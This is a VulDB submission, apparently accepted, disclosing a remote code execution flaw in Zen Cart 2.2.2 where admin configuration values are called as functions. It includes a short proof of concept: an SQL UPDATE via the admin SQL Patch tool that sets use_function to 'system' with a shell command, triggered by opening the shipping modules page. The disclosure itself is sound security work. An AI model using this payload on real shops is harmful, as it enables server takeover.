Submit #883881: Zen Cart 2.2.2 Code Injectioninfo

TitelZen Cart 2.2.2 Code Injection
BeschreibungZen Cart 2.2.2 is vulnerable to Remote Code Execution (RCE) due to an unsafe dynamic function call mechanism in the administrative module management component. The vulnerability exists in the interaction between admin/modules.php and the helper function zen_call_function defined in admin/includes/functions/general.php. In admin/modules.php, the code retrieves configuration values that are used as function names in zen_call_function. An attacker can modify these configuration values (e.g., via SQL injection or other means) to execute arbitrary system commands. PoC: 1. Log in to the Zen Cart admin panel. 2. Use the SQL Patch tool (cmd=sqlpatch) to inject the payload: UPDATE configuration SET use_function = 'system' , configuration_value = 'id > /tmp/rce_call_user_func.txt' WHERE configuration_key = 'MODULE_SHIPPING_FLAT_STATUS'. 3. Navigate to the Shipping Modules page: index.php?cmd=modules&set=shipping. 4. The zen_call_function will be triggered, executing system('id > /tmp/rce_call_user_func.txt').
Quelle⚠️ https://cdkkx.github.io/posts/GHSA-xrv3-wg8v-w8q8.html
Benutzer
 cdhhsk (UID 99312)
Einreichung09.07.2026 08:41 (vor 4 Monaten)
Moderieren11.10.2026 13:10 (3 months later)
StatusAkzeptiert
VulDB Eintrag416603 [Zen Cart bis 2.2.2 Administrative Module Management general.php zen_call_function use_function erweiterte Rechte]
Punkte20

Do you know our Splunk app?

Download it now for free!